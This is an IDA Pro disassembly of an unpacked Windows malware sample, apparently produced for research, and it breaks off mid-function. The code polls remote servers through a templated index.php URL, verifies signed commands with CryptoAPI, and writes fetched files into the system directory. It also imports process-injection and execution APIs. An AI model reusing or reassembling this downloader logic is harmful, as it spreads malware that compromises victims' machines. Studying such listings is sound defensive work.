;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7AF59510FA556331AA1359CB6A7E0E97

; File Name   :	u:\work\7af59510fa556331aa1359cb6a7e0e97_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31421000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31421000	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_31421004	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_31421008	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_3142100C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_31422882+1Dr
dword_31421010	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueAdword_31421014	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_31422882+4Er ...
dword_31421018	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownAdword_3142101C	dd 77DEA2F9h	; resolved to->ADVAPI32.CryptCreateHashdword_31421020	dd 77DEA122h	; resolved to->ADVAPI32.CryptHashDatadword_31421024	dd 77DEAB80h	; resolved to->ADVAPI32.CryptVerifySignatureAdword_31421028	dd 77DEA254h	; resolved to->ADVAPI32.CryptDestroyHashdword_3142102C	dd 77DEA544h	; resolved to->ADVAPI32.CryptDestroyKeydword_31421030	dd 77DE8546h	; resolved to->ADVAPI32.CryptReleaseContextdword_31421034	dd 77DE7F96h	; resolved to->ADVAPI32.CryptAcquireContextAdword_31421038	dd 77DEA879h	; resolved to->ADVAPI32.CryptImportKey		align 10h
dword_31421040	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_31421044	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_31421048	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_3142104C	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_31421050	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_31421054	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_31421058	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3142105C	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_31421060	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_31421064	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_31421068	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_31422B67+8Fr
dword_3142106C	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_31421070	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_31421074	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_31422A9B+Fr
dword_31421078	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_3142107C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_314211A0+F6r ...
dword_31421080	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_314221C4+57r
dword_31421084	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_31421422+64r ...
dword_31421088	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_31422A9B+40r
dword_3142108C	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_31422A9B+1Br
dword_31421090	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_31421094	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_31421801+16Cr ...
dword_31421098	dd 7C80978Eh	; resolved to->KERNEL32.InterlockedExchangedword_3142109C	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_314210A0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_314210A4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_31421DF0+2Cr
dword_314210A8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_314223B2+116r
dword_314210AC	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_314210B0	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_3142292E+92r
dword_314210B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; UPX0:31422336r
dword_314210B8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_314210BC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_314210C0	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_31421F52+12r
dword_314210C4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_314210C8	dd 7C80A017h	; resolved to->KERNEL32.SetEventdword_314210CC	dd 7C81320Ch	; resolved to->KERNEL32.OpenEventAdword_314210D0	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_314221C4+66r ...
dword_314210D4	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_314225C3+3Fr ...
dword_314210D8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_314210DC	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_314210E0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_31422A9B+C3r
dword_314210E4	dd 7C910331h, 0	; resolved to->NTDLL.RtlGetLastWin32Errordword_314210EC	dd 77C371BCh	; resolved to->MSVCRT.sranddword_314210F0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_314210F4	dd 77C478A0h	; resolved to->MSVCRT.strlendword_314210F8	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_314210FC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_31421F73:loc_31421F84r ...
; ---------------------------------------------------------------------------


loc_31421100:				; DATA XREF: UPX0:loc_31422CD0r
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 77h
dword_31421104	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_3142207E:loc_314220AFr ...
dword_31421108	dd 77C47660h	; resolved to->MSVCRT.strchr					; sub_31421422+AAr
		align 10h
dword_31421110	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_31421114	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_31421118	dd 7E418A80h	; resolved to->USER32.GetWindowThreadProcessIddword_3142111C	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_314215C7+77r ...
		dd 0
dword_31421124	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_314215C7+9Dr
dword_31421128	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_314215C7+89r
dword_3142112C	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandledword_31421130	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; UPX0:314227A2r
dword_31421134	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_314215C7+B0r
		dd 0
dword_3142113C	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_31421140	dd 71AB3E00h	; resolved to->WS2_32.binddword_31421144	dd 71AB88D3h	; resolved to->WS2_32.listendword_31421148	dd 71AC1028h	; resolved to->WS2_32.acceptdword_3142114C	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_31421150	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastErrordword_31421154	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_31421158	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_314221C4+ACr
dword_3142115C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_31422712+Dr
dword_31421160	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_314221C4+F0r
dword_31421164	dd 71AB406Ah	; resolved to->WS2_32.connectdword_31421168	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_3142207E+67r ...
dword_3142116C	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_31421801+1D8r ...
dword_31421170	dd 71AC0BDEh	; resolved to->WS2_32.shutdown					; sub_3142207E+128r
dword_31421174	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_3142207E+12Fr
		align 10h
dword_31421180	dd 0FFFFFFFFh, 0		dd offset nullsub_1
		align 10h
dword_31421190	dd 0FFFFFFFFh, 0		dd offset nullsub_2
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314211A0	proc near		; CODE XREF: sub_31421422+16Dp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_314211CB
		push	1
		jmp	loc_31421261
; ---------------------------------------------------------------------------


loc_314211CB:				; CODE XREF: sub_314211A0+22j
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_3142108C	; GetSystemDirectoryA
		mov	edi, dword_31421088
		lea	eax, [ebp+var_110]
		push	offset dword_314241F8
		push	eax
		call	edi	; lstrcatA
		lea	eax, [ebp+var_110]
		push	6
		push	eax
		call	dword_31421084	; lstrlenA
		lea	eax, [ebp+eax+var_110]
		push	eax
		call	sub_31421F73
		pop	ecx
		lea	eax, [ebp+var_110]
		pop	ecx
		push	offset dword_314241F0
		push	eax
		call	edi	; lstrcatA
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_110]
		push	40000000h
		push	eax
		call	dword_31421080	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_31421241
		push	2
		jmp	short loc_31421261
; ---------------------------------------------------------------------------


loc_31421241:				; CODE XREF: sub_314211A0+9Bj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_0]
		push	ebx
		call	dword_31421124	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_31421264
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		push	3


loc_31421261:				; CODE XREF: sub_314211A0+26j
					; sub_314211A0+9Fj
		pop	eax
		jmp	short loc_314212B5
; ---------------------------------------------------------------------------


loc_31421264:				; CODE XREF: sub_314211A0+B4j
		mov	edi, 100000h
		push	edi
		call	sub_31422CA5
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	dword_31421134	; InternetReadFile
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_4]
		call	dword_31421078	; WriteFile
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		lea	eax, [ebp+var_110]
		push	5
		push	eax
		call	sub_31421FA3
		push	ebx
		call	sub_31422CB9
		add	esp, 0Ch
		xor	eax, eax


loc_314212B5:				; CODE XREF: sub_314211A0+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314211A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_314212BA	proc near		; CODE XREF: sub_31421422+F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		inc	eax
		push	0Fh
		lea	esi, [ecx+1]
		sub	edi, ecx
		pop	ecx


loc_314212D1:				; CODE XREF: sub_314212BA+56j
		mov	dl, [eax]
		mov	bl, [eax-1]
		add	edx, ecx
		add	bl, cl
		sar	edx, 4
		and	dl, 3
		sub	dl, [esp+0Ch+arg_8]
		shl	bl, 2
		or	dl, bl
		mov	[esi-1], dl
		mov	dl, [eax+1]
		mov	bl, [eax]
		dec	dl
		add	bl, cl
		and	dl, cl
		sub	dl, [esp+0Ch+arg_8]
		add	eax, 3
		shl	bl, 4
		and	bl, 0F0h
		or	dl, bl
		mov	[esi], dl
		inc	esi
		inc	esi
		lea	edx, [edi+esi]
		cmp	edx, 30h
		jl	short loc_314212D1
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_314212BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421316	proc near		; CODE XREF: sub_3142139B+27p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		lea	edi, [ebp+var_1C]
		push	6
		rep movsd
		movsw
		movsb
		pop	ecx
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		lea	edi, [ebp+var_38]
		mov	ebx, [ebp+arg_4]
		rep movsd
		movsw
		test	ebx, ebx
		movsb
		jge	short loc_31421349
		add	ebx, 1Ah


loc_31421349:				; CODE XREF: sub_31421316+2Ej
		movsx	edi, [ebp+arg_0]
		mov	esi, dword_31421108
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421373
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------


loc_31421373:				; CODE XREF: sub_31421316+48j
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421393
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------


loc_31421393:				; CODE XREF: sub_31421316+68j
		mov	al, [ebp+arg_0]


loc_31421396:				; CODE XREF: sub_31421316+5Bj
					; sub_31421316+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142139B	proc near		; CODE XREF: sub_31421422+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	al, [eax]
		test	al, al
		jz	short loc_314213F8
		mov	edi, [ebp+arg_0]
		push	ebx


loc_314213B0:				; CODE XREF: sub_3142139B+58j
		sub	al, 2
		inc	[ebp+arg_4]
		mov	bl, al
		mov	eax, esi
		neg	eax
		mov	byte ptr [ebp+arg_0], bl
		push	eax
		push	[ebp+arg_0]
		call	sub_31421316
		mov	[edi], al
		pop	ecx
		inc	edi
		cmp	bl, 61h
		pop	ecx
		jl	short loc_314213DC
		cmp	bl, 7Ah
		jg	short loc_314213DC
		movsx	esi, bl
		sub	esi, 61h


loc_314213DC:				; CODE XREF: sub_3142139B+34j
					; sub_3142139B+39j
		cmp	bl, 41h
		jl	short loc_314213EC
		cmp	bl, 5Ah
		jg	short loc_314213EC
		movsx	esi, bl
		sub	esi, 41h


loc_314213EC:				; CODE XREF: sub_3142139B+44j
					; sub_3142139B+49j
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jnz	short loc_314213B0
		pop	ebx
		jmp	short loc_314213FB
; ---------------------------------------------------------------------------


loc_314213F8:				; CODE XREF: sub_3142139B+Fj
		mov	edi, [ebp+arg_0]


loc_314213FB:				; CODE XREF: sub_3142139B+5Bj
		and	byte ptr [edi],	0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142139B	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421402	proc near		; CODE XREF: sub_31421422+104p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	ecx, ecx


loc_31421406:				; CODE XREF: sub_31421402+12j
		mov	edx, [esp+arg_0]
		movzx	edx, byte ptr [ecx+edx]
		add	eax, edx
		inc	ecx
		cmp	ecx, 30h
		jl	short loc_31421406
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, edx
		add	eax, 61h
		retn
sub_31421402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421422	proc near		; CODE XREF: sub_314215C7+BAp

var_174		= dword	ptr -174h
var_170		= byte ptr -170h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_31421180
		push	offset loc_31422CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 164h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_128], 1
		and	[ebp+var_4], 0
		push	offset aZer0	; "zer0"
		push	[ebp+arg_0]
		call	dword_31421104	; strstr
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_130], edi
		test	edi, edi
		jz	loc_314215A8
		add	edi, 4
		mov	[ebp+var_130], edi
		jz	loc_314215A8
		push	edi
		call	dword_31421084	; lstrlenA
		mov	[ebp+var_1C], eax
		cmp	eax, 50h
		jle	loc_314215A8
		and	byte ptr [edi+100h], 0
		mov	al, [edi]
		mov	[ebp+var_168], al
		movsx	ebx, al
		sub	ebx, 61h
		mov	[ebp+var_12C], ebx
		js	loc_314215A8
		cmp	ebx, 1Ah
		jge	loc_314215A8
		inc	edi
		mov	[ebp+var_130], edi
		push	7Eh
		push	edi
		call	dword_31421108	; strchr
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_134], esi
		test	esi, esi
		jz	loc_314215A8
		mov	al, [esi]
		mov	[ebp+var_170], al
		and	byte ptr [esi],	0
		push	ebx
		push	edi
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_3142139B
		mov	al, [ebp+var_170]
		mov	[esi], al
		inc	esi
		mov	[ebp+var_130], esi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [esi+1]
		push	eax
		call	sub_314212BA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_31421402
		add	esp, 1Ch
		cmp	[esi], al
		jnz	short loc_314215A8
		push	44h
		push	offset dword_31424000
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142172F
		add	esp, 0Ch
		lea	eax, [ebp+var_174]
		push	eax
		push	30h
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142179A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_3142159B
		cmp	[ebp+var_174], edi
		jz	short loc_3142159B
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_314211A0
		pop	ecx
		mov	[ebp+var_128], edi


loc_3142159B:				; CODE XREF: sub_31421422+15Cj
					; sub_31421422+164j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142177E
		pop	ecx


loc_314215A8:				; CODE XREF: sub_31421422+4Ej
					; sub_31421422+5Dj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421422	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314215C7	proc near		; CODE XREF: sub_314216A2+2Ap

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		push	4000h
		call	sub_31422CA5
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	7
		push	400h
		call	dword_31421090	; GetLocaleInfoA
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_3142162F
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_84]
		push	dword_31424FEC
		push	dword_31425004
		push	offset aFgnsdrjyrsert ;	"fgnsdrjyrsert"
		push	[ebp+arg_0]
		push	offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"...
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_31421647
; ---------------------------------------------------------------------------


loc_3142162F:				; CODE XREF: sub_314215C7+34j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	offset aHttpS	; "http://%s"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch


loc_31421647:				; CODE XREF: sub_314215C7+66j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		push	ebx
		mov	edi, eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_84]
		push	ebx
		push	eax
		push	edi
		call	dword_31421124	; InternetOpenUrlA
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	2000h
		push	esi
		push	ebx
		call	dword_31421134	; InternetReadFile
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_31421422
		push	esi
		call	sub_31422CB9
		mov	esi, dword_3142112C
		pop	ecx
		pop	ecx
		push	ebx
		call	esi	; InternetCloseHandle
		push	edi
		call	esi	; InternetCloseHandle
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314215C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_314216A2	proc near		; DATA XREF: sub_314223B2+15Bo
		push	ebx
		mov	ebx, dword_31421098
		push	esi
		push	edi


loc_314216AB:				; CODE XREF: sub_314216A2+88j
		xor	esi, esi
		mov	edi, 46021h


loc_314216B2:				; CODE XREF: sub_314216A2+86j
		inc	esi
		inc	esi
		call	sub_31422038
		test	eax, eax
		jz	short loc_314216FC
		mov	al, byte_31424080[esi+esi*4]
		push	eax
		push	off_31424081[esi+esi*4]
		call	sub_314215C7
		or	eax, edi
		pop	ecx
		xor	eax, 8064h
		pop	ecx
		shl	eax, 3
		mov	edi, eax
		xor	eax, 228h
		test	ax, 0FFFFh
		jnz	short loc_314216FC
		push	0
		push	offset dword_31425004
		call	ebx	; InterlockedExchange
		push	0
		push	offset dword_31424FEC
		call	ebx	; InterlockedExchange


loc_314216FC:				; CODE XREF: sub_314216A2+19j
					; sub_314216A2+46j
		call	dword_314210FC	; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		add	esi, edx
		call	sub_31422068
		xor	edx, edx
		mov	ecx, 493E0h
		div	ecx
		add	edx, 61B48h
		push	edx
		call	dword_31421094	; Sleep
		cmp	esi, 16h
		jb	short loc_314216B2
		jmp	loc_314216AB
sub_314216A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142172F	proc near		; CODE XREF: sub_31421422+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, dword_31421034
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	8
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	1
		pop	eax
		jmp	short loc_3142177A
; ---------------------------------------------------------------------------


loc_3142175C:				; CODE XREF: sub_3142172F+19j
					; sub_3142172F+26j
		lea	eax, [ebx+4]
		push	eax
		push	edi
		push	edi
		push	[esp+18h+arg_8]
		push	[esp+1Ch+arg_4]
		push	dword ptr [ebx]
		call	dword_31421038	; CryptImportKey
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax


loc_3142177A:				; CODE XREF: sub_3142172F+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3142172F	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142177E	proc near		; CODE XREF: sub_31421422+180p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+4]
		call	dword_3142102C	; CryptDestroyKey
		push	0
		push	dword ptr [esi]
		call	dword_31421030	; CryptReleaseContext
		xor	eax, eax
		pop	esi
		retn
sub_3142177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142179A	proc near		; CODE XREF: sub_31421422+152p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	8003h
		push	dword ptr [esi]
		call	dword_3142101C	; CryptCreateHash
		test	eax, eax
		jnz	short loc_314217C0
		push	1
		pop	eax
		jmp	short loc_314217FD
; ---------------------------------------------------------------------------


loc_314217C0:				; CODE XREF: sub_3142179A+1Fj
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31421020	; CryptHashData
		test	eax, eax
		jnz	short loc_314217D9
		push	2
		pop	edi
		jmp	short loc_314217F2
; ---------------------------------------------------------------------------


loc_314217D9:				; CODE XREF: sub_3142179A+38j
		push	edi
		push	edi
		push	dword ptr [esi+4]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	dword_31421024	; CryptVerifySignatureA
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax


loc_314217F2:				; CODE XREF: sub_3142179A+3Dj
		push	[ebp+arg_0]
		call	dword_31421028	; CryptDestroyHash
		mov	eax, edi


loc_314217FD:				; CODE XREF: sub_3142179A+24j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142179A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421801	proc near		; CODE XREF: sub_3142255F+36p
					; sub_314225C3+48p ...

var_89E4	= byte ptr -89E4h
var_897C	= byte ptr -897Ch
var_690C	= byte ptr -690Ch
var_689C	= byte ptr -689Ch
var_5DD8	= byte ptr -5DD8h
var_4834	= byte ptr -4834h
var_4833	= byte ptr -4833h
var_37A0	= byte ptr -37A0h
var_2CDC	= byte ptr -2CDCh
var_2CDB	= byte ptr -2CDBh
var_2CD8	= byte ptr -2CD8h
var_24F4	= byte ptr -24F4h
var_24E4	= byte ptr -24E4h
var_21C0	= byte ptr -21C0h
var_21BC	= byte ptr -21BCh
var_21B0	= byte ptr -21B0h
var_1F28	= byte ptr -1F28h
var_1EAC	= byte ptr -1EACh
var_16DC	= byte ptr -16DCh
var_1231	= byte ptr -1231h
var_F44		= byte ptr -0F44h
var_EA4		= byte ptr -0EA4h
var_798		= dword	ptr -798h
var_788		= byte ptr -788h
var_774		= byte ptr -774h
var_730		= byte ptr -730h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_E4		= byte ptr -0E4h
var_E1		= byte ptr -0E1h
var_B7		= byte ptr -0B7h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_6C		= byte ptr -6Ch
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 89E4h
		call	sub_31422CF0
		mov	eax, dword_31424C84
		push	ebx
		push	edi
		push	1
		pop	edi
